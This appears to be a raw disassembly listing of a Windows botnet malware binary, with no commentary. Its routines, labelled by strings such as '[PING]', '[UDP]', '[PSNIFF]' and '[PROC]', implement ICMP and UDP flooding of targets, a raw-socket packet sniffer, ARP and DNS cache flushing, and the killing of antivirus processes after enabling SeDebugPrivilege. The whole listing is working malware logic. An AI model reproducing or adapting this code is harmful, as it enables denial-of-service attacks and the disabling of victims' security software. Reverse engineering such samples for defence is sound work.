xor eax, eax
loc_40AECD: ; CODE XREF: .text:0040AEC9j
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40AED0 proc near ; CODE XREF: sub_405026+7p
; sub_4064A6+83p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_44B700 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40AEF8
push [esp+arg_0]
call dword_44B744 ; gethostbyname
test eax, eax
jnz short loc_40AEF1
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AEF1: ; CODE XREF: sub_40AED0+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AEF8: ; CODE XREF: sub_40AED0+Dj
retn
sub_40AED0 endp
; =============== S U B R O U T I N E =======================================
sub_40AEF9 proc near ; CODE XREF: sub_40C22A+D6p
mov ecx, dword_44B5E8
xor eax, eax
test ecx, ecx
jz short locret_40AF07
call ecx ; DnsFlushResolverCache
locret_40AF07: ; CODE XREF: sub_40AEF9+Aj
retn
sub_40AEF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AF08 proc near ; CODE XREF: sub_40C50A:loc_411BF7p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_44B73C ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40AFD4
sub ecx, 32h
jz loc_40AFCD
sub ecx, 48h
jz short loc_40AF68
sub ecx, 6Eh
jz short loc_40AF61
push eax
push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"...
loc_40AF50: ; CODE XREF: sub_40AF08+91j
lea eax, [ebp+var_88]
push eax
call sub_418D70
add esp, 0Ch
jmp short loc_40AFAE
; ---------------------------------------------------------------------------
loc_40AF61: ; CODE XREF: sub_40AF08+40j
push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty."
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF68: ; CODE XREF: sub_40AF08+3Bj
push [ebp+var_8]
call sub_416A10
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_4189A0
add esp, 10h
cmp esi, edi
jz short loc_40AF9B
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_44B73C ; GetIpNetTable
cmp eax, edi
jz short loc_40AFD4
push eax
push offset aFlushdnsErro_0 ; "[FLUSHDNS]: Error getting ARP cache: <%"...
jmp short loc_40AF50
; ---------------------------------------------------------------------------
loc_40AF9B: ; CODE XREF: sub_40AF08+79j
push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"...
loc_40AFA0: ; CODE XREF: sub_40AF08+5Ej
; sub_40AF08+CAj
lea eax, [ebp+var_88]
push eax
call sub_418D70
pop ecx
pop ecx
loc_40AFAE: ; CODE XREF: sub_40AF08+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4035E1
pop ecx
loc_40AFBE: ; CODE XREF: sub_40AF08+CEj
; sub_40AF08+E2j
push esi
call sub_417480
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AFCD: ; CODE XREF: sub_40AF08+32j
push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AFD4: ; CODE XREF: sub_40AF08+29j
; sub_40AF08+89j
cmp [esi], edi
jbe short loc_40AFBE
lea ebx, [esi+4]
loc_40AFDB: ; CODE XREF: sub_40AF08+E0j
push ebx
call dword_44B738 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AFDB
jmp short loc_40AFBE
sub_40AF08 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFEC proc near ; CODE XREF: sub_40119E+1Fp
; .text:00401810p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_44B664 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_44C2BC
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
push esi
call sub_418D70
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AFEC endp
; =============== S U B R O U T I N E =======================================
sub_40B045 proc near ; CODE XREF: .text:00402F56p
; sub_404CEF+24Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40B06E
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40B061: ; CODE XREF: sub_40B045+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40B061
pop edi
jmp short loc_40B072
; ---------------------------------------------------------------------------
loc_40B06E: ; CODE XREF: sub_40B045+Aj
mov edx, [esp+4+arg_0]
loc_40B072: ; CODE XREF: sub_40B045+27j
test esi, esi
pop esi
jz short loc_40B07C
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40B07C: ; CODE XREF: sub_40B045+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40B045 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Ch]
mov edx, [ebp+8]
push esi
xor esi, esi
cmp eax, 1
mov [ebp-4], esi
jle short loc_40B0BF
mov ecx, eax
push edi
shr ecx, 1
lea edi, [ecx+ecx]
sub eax, edi
loc_40B0B1: ; CODE XREF: .text:0040B0B9j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec ecx
jnz short loc_40B0B1
pop edi
cmp eax, 1
loc_40B0BF: ; CODE XREF: .text:0040B0A5j
jnz short loc_40B0CC
mov al, [edx]
mov [ebp-4], al
movzx eax, word ptr [ebp-4]
add esi, eax
loc_40B0CC: ; CODE XREF: .text:loc_40B0BFj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
pop esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0E5 proc near ; DATA XREF: sub_40C50A+2E6Ao
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_418D40
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_44B64C ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_44B700 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40B140
lea eax, [ebp+var_C0]
push eax
call dword_44B744 ; gethostbyname
cmp eax, ebx
jz short loc_40B146
loc_40B140: ; CODE XREF: sub_40B0E5+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_40B1A3
loc_40B146: ; CODE XREF: sub_40B0E5+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset aPingErrorSendi ; "[PING]: Error sending pings to %s."
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B186
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40842D
add esp, 14h
loc_40B186: ; CODE XREF: sub_40B0E5+7Fj
lea eax, [ebp+var_344]
push eax
call sub_4035E1
push [ebp+var_30]
call sub_416507
pop ecx
pop ecx
push edi
call ds:dword_4942FC
loc_40B1A3: ; CODE XREF: sub_40B0E5+5Fj
cmp eax, ebx
jz short loc_40B1B3
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_40B1B6
; ---------------------------------------------------------------------------
loc_40B1B3: ; CODE XREF: sub_40B0E5+C0j
mov [ebp+var_4], esi
loc_40B1B6: ; CODE XREF: sub_40B0E5+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_4189A0
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_40B1D6
mov [ebp+var_3C], eax
loc_40B1D6: ; CODE XREF: sub_40B0E5+ECj
cmp [ebp+var_38], edi
jge short loc_40B1DE
mov [ebp+var_38], edi
loc_40B1DE: ; CODE XREF: sub_40B0E5+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_40B20B
loc_40B1E5: ; CODE XREF: sub_40B0E5+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_44B5E4 ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_40B1E5
loc_40B20B: ; CODE XREF: sub_40B0E5+FEj
push [ebp+arg_0]
call dword_44B778 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_40B254
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_40842D
add esp, 14h
loc_40B254: ; CODE XREF: sub_40B0E5+14Dj
lea eax, [ebp+var_344]
push eax
call sub_4035E1
push [ebp+var_30]
call sub_416507
pop ecx
pop ecx
push ebx
call ds:dword_4942FC
sub_40B0E5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B271 proc near ; DATA XREF: sub_40C50A+2FB1o
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_418D40
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_494308
push eax
call sub_418FF0
pop ecx
push 11h
push 2
push 2
call dword_44B740 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_4189A0
add esp, 0Ch
lea eax, [ebp+var_B0]
mov [ebp+var_10], 2
push eax
call dword_44B700 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jnz short loc_40B356
lea eax, [ebp+var_B0]
push eax
call dword_44B744 ; gethostbyname
cmp eax, edi
jnz short loc_40B34F
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset aUdpErrorSendin ; "[UDP]: Error sending pings to %s."
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B332
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40842D
add esp, 14h
loc_40B332: ; CODE XREF: sub_40B271+9Fj
lea eax, [ebp+var_334]
push eax
call sub_4035E1
push [ebp+var_20]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
loc_40B34F: ; CODE XREF: sub_40B271+7Fj
mov eax, [eax+0Ch]
mov eax, [eax]
jmp short loc_40B359
; ---------------------------------------------------------------------------
loc_40B356: ; CODE XREF: sub_40B271+6Ej
lea eax, [ebp+arg_0]
loc_40B359: ; CODE XREF: sub_40B271+E3j
mov eax, [eax]
cmp [ebp+var_24], edi
mov [ebp+var_C], eax
jnz short loc_40B374
call sub_419000
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40B377
; ---------------------------------------------------------------------------
loc_40B374: ; CODE XREF: sub_40B271+F0j
push [ebp+var_24]
loc_40B377: ; CODE XREF: sub_40B271+101j
call dword_44B6C0 ; htons
cmp [ebp+var_24], esi
mov [ebp+var_E], ax
jge short loc_40B389
mov [ebp+var_24], esi
loc_40B389: ; CODE XREF: sub_40B271+113j
mov eax, 0FFFFh
cmp [ebp+var_24], eax
jle short loc_40B396
mov [ebp+var_24], eax
loc_40B396: ; CODE XREF: sub_40B271+120j
mov eax, [ebp+var_30]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp+var_28], edi
mov [ebp+var_30], eax
jnz short loc_40B3AA
mov [ebp+var_28], esi
loc_40B3AA: ; CODE XREF: sub_40B271+134j
xor esi, esi
cmp [ebp+var_2C], edi
jle short loc_40B3CB
loc_40B3B1: ; CODE XREF: sub_40B271+158j
call sub_419000
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp+var_2C]
mov [ebp+esi-10311h], dl
jl short loc_40B3B1
loc_40B3CB: ; CODE XREF: sub_40B271+13Ej
; sub_40B271+19Cj ...
mov eax, [ebp+var_30]
dec [ebp+var_30]
test eax, eax
jle short loc_40B42A
push 0Bh
pop esi
loc_40B3D8: ; CODE XREF: sub_40B271+197j
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call sub_419000
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp+var_2C]
sub eax, edx
push eax
lea eax, [ebp+var_10310]
push eax
push ebx
call dword_44B724 ; sendto
push [ebp+var_28]
call ds:dword_4942D8
dec esi
jnz short loc_40B3D8
cmp [ebp+var_24], edi
jnz short loc_40B3CB
call sub_419000
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call dword_44B6C0 ; htons
mov [ebp+var_E], ax
jmp short loc_40B3CB
; ---------------------------------------------------------------------------
loc_40B42A: ; CODE XREF: sub_40B271+162j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_334]
push offset aUdpFinishedSen ; "[UDP]: Finished sending packets to %s."
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_18], edi
jnz short loc_40B46A
push edi
lea eax, [ebp+var_334]
push [ebp+var_1C]
push eax
lea eax, [ebp+var_130]
push eax
push [ebp+var_134]
call sub_40842D
add esp, 14h
loc_40B46A: ; CODE XREF: sub_40B271+1D7j
lea eax, [ebp+var_334]
push eax
call sub_4035E1
push [ebp+var_20]
call sub_416507
pop ecx
pop ecx
push edi
call ds:dword_4942FC
sub_40B271 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B487 proc near ; CODE XREF: sub_405C86+45p
; sub_405C86+166p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call ds:dword_494290
push eax
call dword_44B6A4 ; OpenProcessToken
test eax, eax
jnz short loc_40B4A6
leave
retn
; ---------------------------------------------------------------------------
loc_40B4A6: ; CODE XREF: sub_40B487+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_44B67C ; LookupPrivilegeValueA
test eax, eax
jz short loc_40B4E4
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_40B4CD
or [ebp+var_8], 2
jmp short loc_40B4D1
; ---------------------------------------------------------------------------
loc_40B4CD: ; CODE XREF: sub_40B487+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_40B4D1: ; CODE XREF: sub_40B487+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_44B72C ; AdjustTokenPrivileges
mov esi, eax
loc_40B4E4: ; CODE XREF: sub_40B487+32j
push [ebp+var_4]
call ds:dword_4942E0
mov eax, esi
pop esi
leave
retn
sub_40B487 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B4F2 proc near ; CODE XREF: sub_40B735+74p
; sub_40B84A+Ap ...
var_554 = byte ptr -554h
var_354 = dword ptr -354h
var_350 = byte ptr -350h
var_234 = byte ptr -234h
var_130 = dword ptr -130h
var_12C = byte ptr -12Ch
var_128 = dword ptr -128h
var_10C = byte ptr -10Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 554h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_44B6E0, ebx
lea edi, [ebp+var_12C]
mov [ebp+var_130], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_350]
mov [ebp+var_354], ebx
rep stosd
jz loc_40B705
cmp dword_44B6C4, ebx
jz loc_40B705
cmp dword_44B5E0, ebx
jz loc_40B705
push 1
push offset aSedebugprivi_1 ; "SeDebugPrivilege"
call sub_40B487
pop ecx
pop ecx
push ebx
push 0Fh
call dword_44B6E0 ; CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_8], edi
jz loc_40B6F8
lea eax, [ebp+var_130]
mov [ebp+var_130], 128h
push eax
push edi
call dword_44B6C4 ; Process32First
mov esi, ds:dword_4942E0
test eax, eax
jz loc_40B6F3
lea eax, [ebp+var_130]
push eax
push edi
call dword_44B5E0 ; Process32Next
test eax, eax
jz loc_40B6F3
mov edi, ds:dword_494370
mov ebx, 1F0FFFh
loc_40B5B6: ; CODE XREF: sub_40B4F2+1F9j
xor eax, eax
cmp [ebp+arg_10], eax
jz short loc_40B61D
mov [ebp+var_4], offset off_43B340
loc_40B5C4: ; CODE XREF: sub_40B4F2+F3j
mov eax, [ebp+var_4]
push dword ptr [eax]
lea eax, [ebp+var_10C]
push eax
call ds:dword_4943BC
test eax, eax
jz short loc_40B5EC
add [ebp+var_4], 4
cmp [ebp+var_4], offset aAckwin32_exe ; "ACKWIN32.EXE"
jl short loc_40B5C4
jmp loc_40B6D9
; ---------------------------------------------------------------------------
loc_40B5EC: ; CODE XREF: sub_40B4F2+E6j
push [ebp+var_128]
push 0
push ebx
call edi
test eax, eax
mov [ebp+var_4], eax
jz loc_40B6D9
push 0
push eax
call ds:dword_4943B8
test eax, eax
jnz loc_40B6D9
loc_40B613: ; CODE XREF: sub_40B4F2+1CDj
push [ebp+var_4]
call esi
jmp loc_40B6D9
; ---------------------------------------------------------------------------
loc_40B61D: ; CODE XREF: sub_40B4F2+C9j
cmp [ebp+arg_C], eax
jnz loc_40B6C4
cmp [ebp+arg_4], eax
jz loc_40B6D9
push [ebp+var_128]
push 8
call dword_44B6E0 ; CreateToolhelp32Snapshot
cmp [ebp+arg_14], 0
mov [ebp+var_4], eax
mov [ebp+var_354], 224h
jz short loc_40B684
lea ecx, [ebp+var_354]
push ecx
push eax
call dword_44B58C ; Module32First
push [ebp+var_128]
test eax, eax
jz short loc_40B676
lea eax, [ebp+var_234]
push eax
push offset aSD_0 ; " %s (%d)"
jmp short loc_40B696
; ---------------------------------------------------------------------------
loc_40B676: ; CODE XREF: sub_40B4F2+174j
lea eax, [ebp+var_10C]
push eax
push offset aSD_1 ; " %s (%d)"
jmp short loc_40B696
; ---------------------------------------------------------------------------
loc_40B684: ; CODE XREF: sub_40B4F2+15Cj
push [ebp+var_128]
lea eax, [ebp+var_10C]
push eax
push offset aSD_2 ; " %s (%d)"
loc_40B696: ; CODE XREF: sub_40B4F2+182j
; sub_40B4F2+190j
lea eax, [ebp+var_554]
push eax
call sub_418D70
add esp, 10h
lea eax, [ebp+var_554]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
jmp loc_40B613
; ---------------------------------------------------------------------------
loc_40B6C4: ; CODE XREF: sub_40B4F2+12Ej
push [ebp+arg_C]
lea eax, [ebp+var_10C]
push eax
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_40B70C
loc_40B6D9: ; CODE XREF: sub_40B4F2+F5j
; sub_40B4F2+10Aj ...
lea eax, [ebp+var_130]
push eax
push [ebp+var_8]
call dword_44B5E0 ; Process32Next
test eax, eax
jnz loc_40B5B6
xor ebx, ebx
loc_40B6F3: ; CODE XREF: sub_40B4F2+9Dj
; sub_40B4F2+B3j
push [ebp+var_8]
call esi
loc_40B6F8: ; CODE XREF: sub_40B4F2+77j
push ebx
push offset aSedebugprivi_2 ; "SeDebugPrivilege"
call sub_40B487
pop ecx
pop ecx
loc_40B705: ; CODE XREF: sub_40B4F2+3Aj
; sub_40B4F2+46j ...
xor eax, eax
loc_40B707: ; CODE XREF: sub_40B4F2+241j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40B70C: ; CODE XREF: sub_40B4F2+1E5j
push [ebp+var_128]
push 0
push ebx
call edi
push [ebp+var_8]
mov edi, eax
call esi
push 0
push edi
call ds:dword_4943B8
test eax, eax
jnz short loc_40B730
push edi
call esi
jmp short loc_40B705
; ---------------------------------------------------------------------------
loc_40B730: ; CODE XREF: sub_40B4F2+237j
push 1
pop eax
jmp short loc_40B707
sub_40B4F2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B735 proc near ; DATA XREF: sub_40C50A+594Eo
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset aProcListingPro ; "[PROC]: Listing processes:"
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_418D70
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_40B794
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40842D
add esp, 14h
loc_40B794: ; CODE XREF: sub_40B735+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40B4F2
add esp, 18h
test eax, eax
jnz short loc_40B7BC
push offset aProcProcessLis ; "[PROC]: Process list completed."
jmp short loc_40B7C1
; ---------------------------------------------------------------------------
loc_40B7BC: ; CODE XREF: sub_40B735+7Ej
push offset aProcProcessL_0 ; "[PROC]: Process list failed."
loc_40B7C1: ; CODE XREF: sub_40B735+85j
lea eax, [ebp+var_298]
push eax
call sub_418D70
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_40B7F4
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_40842D
add esp, 14h
loc_40B7F4: ; CODE XREF: sub_40B735+9Dj
lea eax, [ebp+var_298]
push eax
call sub_4035E1
push [ebp+var_14]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
pop edi
pop esi
sub_40B735 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40B813 proc near ; CODE XREF: sub_40C50A+4B12p
; sub_416326+53p
arg_0 = dword ptr 4
push esi
push edi
push 1
pop edi
push [esp+8+arg_0]
push 0
push 1F0FFFh
call ds:dword_494370
mov esi, eax
test esi, esi
jz short loc_40B845
push 0
push esi
call ds:dword_4943B8
test eax, eax
jnz short loc_40B845
push esi
xor edi, edi
call ds:dword_4942E0
loc_40B845: ; CODE XREF: sub_40B813+1Aj
; sub_40B813+27j
mov eax, edi
pop edi
pop esi
retn
sub_40B813 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B84A proc near ; DATA XREF: sub_40BBCB+3CAo
push esi
xor esi, esi
loc_40B84D: ; CODE XREF: sub_40B84A+1Ej
push 1
push esi
push esi
push esi
push esi
push esi
call sub_40B4F2
add esp, 18h
push dword_43B33C
call ds:dword_4942D8
jmp short loc_40B84D
sub_40B84A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B86A proc near ; DATA XREF: sub_40C50A+1C99o
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
var_1028C = byte ptr -1028Ch
var_2B4 = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call sub_418D40
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h
lea eax, [ebp+var_1C]
push esi
push eax
call sub_4189A0
add esp, 0Ch
mov [ebp+var_1C], 2
push esi
call dword_44B6C0 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AFEC
pop ecx
push eax
call dword_44B700 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call dword_44B740 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_40B93F
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset aPsniffErrorSoc ; "[PSNIFF]: Error: socket() failed, retur"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_40B922
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40842D
add esp, 14h
loc_40B922: ; CODE XREF: sub_40B86A+96j
lea eax, [ebp+var_2B4]
push eax
call sub_4035E1
push [ebp+var_30]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
loc_40B93F: ; CODE XREF: sub_40B86A+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov dword_44D064[eax], edi
lea eax, [ebp+var_1C]
push eax
push edi
call dword_44B6EC ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_40B9C4
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset aPsniffErrorBin ; "[PSNIFF]: Error: bind() failed, returne"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_40B9A0
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40842D
add esp, 14h
loc_40B9A0: ; CODE XREF: sub_40B86A+114j
lea eax, [ebp+var_2B4]
push eax
call sub_4035E1
pop ecx
push edi
call dword_44B758 ; closesocket
push [ebp+var_30]
call sub_416507
pop ecx
push esi
call ds:dword_4942FC
loc_40B9C4: ; CODE XREF: sub_40B86A+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call dword_44B66C ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_40BA47
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp+var_2B4]
push offset aPsniffErrorWsa ; "[PSNIFF]: Error: WSAIoctl() failed, ret"...
push eax
call sub_418D70
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_40BA23
push esi
lea eax, [ebp+var_2B4]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_B0]
push eax
push [ebp+var_B4]
call sub_40842D
add esp, 14h
loc_40BA23: ; CODE XREF: sub_40B86A+197j
lea eax, [ebp+var_2B4]
push eax
call sub_4035E1
pop ecx
push edi
